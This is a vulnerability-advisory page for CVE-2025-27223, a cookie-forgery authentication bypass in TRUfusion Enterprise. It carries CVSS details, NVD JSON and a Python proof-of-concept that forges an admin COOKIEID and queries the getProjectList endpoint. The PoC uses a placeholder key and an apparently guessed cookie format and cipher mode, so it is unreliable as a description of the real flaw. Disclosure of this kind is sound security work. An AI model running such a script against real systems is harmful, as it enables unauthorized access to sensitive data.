Security Vulnerability Report
中文
CVE-2025-27223 CVSS 7.5 HIGH

CVE-2025-27223

Published: 2025-10-27 17:15:38
Last Modified: 2025-10-31 20:35:08

Description

TRUfusion Enterprise through 7.10.4.0 exposes the encrypted COOKIEID as an authentication mechanism for some endpoints such as /trufusionPortal/getProjectList. However, the application uses a static key to create the encrypted cookie, ultimately allowing anyone to forge cookies and gain access to sensitive internal information.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:* - VULNERABLE
TRUfusion Enterprise < 7.10.4.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-27223 PoC - TRUfusion Enterprise Authentication Bypass # Target: TRUfusion Enterprise <= 7.10.4.0 # Vulnerability: Static key used for cookie encryption allows cookie forgery import requests import json from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 TARGET_URL = "https://target.trufusion.example.com" STATIC_KEY = b"YOUR_STATIC_KEY_HERE" # Key obtained from reverse engineering def forge_cookie(user_id, username): """Forge authentication cookie using static key""" cookie_data = json.dumps({ "userId": user_id, "username": username, "timestamp": "2025-01-01T00:00:00Z" }) # Pad and encrypt cookie data padded_data = pad(cookie_data.encode(), AES.block_size) cipher = AES.new(STATIC_KEY, AES.MODE_ECB) encrypted = cipher.encrypt(padded_data) # Base64 encode for HTTP transmission cookie = base64.b64encode(encrypted).decode() return cookie def exploit(): """Exploit the authentication bypass vulnerability""" # Forge admin cookie forged_cookie = forge_cookie("1", "admin") # Target endpoint that requires authentication endpoint = f"{TARGET_URL}/trufusionPortal/getProjectList" headers = { "Cookie": f"COOKIEID={forged_cookie}", "Content-Type": "application/json" } print(f"[*] Sending forged cookie to {endpoint}") print(f"[*] Cookie: {forged_cookie[:50]}...") try: response = requests.get(endpoint, headers=headers, verify=False, timeout=30) print(f"[*] Status Code: {response.status_code}") if response.status_code == 200: print("[+] SUCCESS! Retrieved sensitive project data:") print(json.dumps(response.json(), indent=2)) else: print(f"[-] Failed: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-27223 - TRUfusion Enterprise Auth Bypass PoC") print("=" * 60) exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27223", "sourceIdentifier": "[email protected]", "published": "2025-10-27T17:15:37.973", "lastModified": "2025-10-31T20:35:08.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TRUfusion Enterprise through 7.10.4.0 exposes the encrypted COOKIEID as an authentication mechanism for some endpoints such as /trufusionPortal/getProjectList. However, the application uses a static key to create the encrypted cookie, ultimately allowing anyone to forge cookies and gain access to sensitive internal information."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1004"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rocketsoftware:trufusion_enterprise:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.10.4.0", "matchCriteriaId": "2E26A047-ED87-40AB-B487-B4265139A603"}]}]}], "references": [{"url": "https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2025-27223.txt", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.rocketsoftware.com/products/rocket-b2b-supply-chain-integration/rocket-trufusion-enterprise", "source": "[email protected]", "tags": ["Product"]}]}}